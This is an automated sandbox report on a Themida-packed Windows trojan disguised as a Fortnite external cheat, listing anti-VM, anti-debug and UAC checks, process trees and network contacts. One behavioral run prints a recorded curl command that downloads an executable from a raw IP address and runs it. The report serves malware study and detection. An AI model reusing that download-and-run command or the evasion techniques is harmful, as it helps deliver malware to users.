Malware Analysis Report

2024-10-10 07:52

Sample ID 240615-hz7k3svhpl
Target bat.win_external.exe
SHA256 4188d2de2935e9adc6b37dcc1619e9392a3b3d44f019af87a1b5ad151f4df87d
Tags
themida evasion trojan
score
9/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
9/10

SHA256

4188d2de2935e9adc6b37dcc1619e9392a3b3d44f019af87a1b5ad151f4df87d

Threat Level: Likely malicious

The file bat.win_external.exe was found to be: Likely malicious.

Malicious Activity Summary

themida evasion trojan

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Themida packer

Checks BIOS information in registry

Checks whether UAC is enabled

Suspicious use of NtSetInformationThreadHideFromDebugger

Unsigned PE

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-15 07:11

Signatures

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-15 07:11

Reported

2024-06-15 07:14

Platform

win7-20240220-en

Max time kernel

122s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe"

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe N/A

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2480 wrote to memory of 2504 N/A C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe C:\Windows\system32\cmd.exe
PID 2480 wrote to memory of 2504 N/A C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe C:\Windows\system32\cmd.exe
PID 2480 wrote to memory of 2504 N/A C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe C:\Windows\system32\cmd.exe
PID 2504 wrote to memory of 2596 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\certutil.exe
PID 2504 wrote to memory of 2596 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\certutil.exe
PID 2504 wrote to memory of 2596 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\certutil.exe
PID 2504 wrote to memory of 2600 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\find.exe
PID 2504 wrote to memory of 2600 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\find.exe
PID 2504 wrote to memory of 2600 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\find.exe
PID 2504 wrote to memory of 2640 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\find.exe
PID 2504 wrote to memory of 2640 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\find.exe
PID 2504 wrote to memory of 2640 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\find.exe
PID 2480 wrote to memory of 2816 N/A C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe C:\Windows\system32\cmd.exe
PID 2480 wrote to memory of 2816 N/A C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe C:\Windows\system32\cmd.exe
PID 2480 wrote to memory of 2816 N/A C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe C:\Windows\system32\cmd.exe
PID 2480 wrote to memory of 2716 N/A C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe C:\Windows\system32\cmd.exe
PID 2480 wrote to memory of 2716 N/A C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe C:\Windows\system32\cmd.exe
PID 2480 wrote to memory of 2716 N/A C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe

"C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe" MD5 | find /i /v "md5" | find /i /v "certutil"

C:\Windows\system32\certutil.exe

certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe" MD5

C:\Windows\system32\find.exe

find /i /v "md5"

C:\Windows\system32\find.exe

find /i /v "certutil"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c curl http://104.254.246.35/files/BAT.WIN_New_Fortnite_External.exe -o C:\NewFileVersion.exe --silent

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c C:\NewFileVersion.exe

Network

Country Destination Domain Proto
N/A 127.0.0.1:49197 tcp
N/A 127.0.0.1:49199 tcp
US 8.8.8.8:53 keyauth.win udp
US 104.26.1.5:443 keyauth.win tcp
US 8.8.8.8:53 apps.identrust.com udp
IE 2.18.24.9:80 apps.identrust.com tcp
US 8.8.8.8:53 x2.c.lencr.org udp
BE 23.55.97.11:80 x2.c.lencr.org tcp

Files

memory/2480-0-0x0000000077320000-0x0000000077322000-memory.dmp

memory/2480-1-0x000000013F560000-0x0000000140065000-memory.dmp

memory/2480-6-0x000000013F560000-0x0000000140065000-memory.dmp

memory/2480-4-0x000000013F560000-0x0000000140065000-memory.dmp

memory/2480-5-0x000000013F560000-0x0000000140065000-memory.dmp

memory/2480-3-0x000000013F560000-0x0000000140065000-memory.dmp

memory/2480-2-0x000000013F560000-0x0000000140065000-memory.dmp

memory/2480-7-0x00000000772D0000-0x0000000077479000-memory.dmp

memory/2480-8-0x00000000772D0000-0x0000000077479000-memory.dmp

memory/2480-9-0x00000000772D0000-0x0000000077479000-memory.dmp

memory/2480-10-0x00000000772D0000-0x0000000077479000-memory.dmp

memory/2480-11-0x00000000772D0000-0x0000000077479000-memory.dmp

memory/2480-13-0x00000000772D0000-0x0000000077479000-memory.dmp

memory/2480-12-0x000000013F560000-0x0000000140065000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-15 07:11

Reported

2024-06-15 07:12

Platform

win10v2004-20240508-en

Max time kernel

17s

Max time network

22s

Command Line

"C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe"

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe N/A

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe

"C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe" MD5 | find /i /v "md5" | find /i /v "certutil"

C:\Windows\system32\certutil.exe

certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe" MD5

C:\Windows\system32\find.exe

find /i /v "md5"

C:\Windows\system32\find.exe

find /i /v "certutil"

Network

Country Destination Domain Proto
N/A 127.0.0.1:62485 tcp
N/A 127.0.0.1:62487 tcp
US 8.8.8.8:53 keyauth.win udp

Files

memory/552-0-0x00007FF867C90000-0x00007FF867C92000-memory.dmp

memory/552-4-0x00007FF695E90000-0x00007FF696995000-memory.dmp

memory/552-3-0x00007FF695E90000-0x00007FF696995000-memory.dmp

memory/552-2-0x00007FF695E90000-0x00007FF696995000-memory.dmp

memory/552-1-0x00007FF695E90000-0x00007FF696995000-memory.dmp

memory/552-6-0x00007FF695E90000-0x00007FF696995000-memory.dmp

memory/552-5-0x00007FF695E90000-0x00007FF696995000-memory.dmp

memory/552-7-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-8-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-9-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-10-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-11-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-12-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-13-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-14-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-15-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-16-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-17-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-18-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-19-0x00007FF695E90000-0x00007FF696995000-memory.dmp

memory/552-20-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-21-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-22-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-23-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-24-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-25-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-26-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-27-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-28-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-29-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-30-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-31-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-32-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-33-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp

memory/552-34-0x00007FF695E90000-0x00007FF696995000-memory.dmp

memory/552-35-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp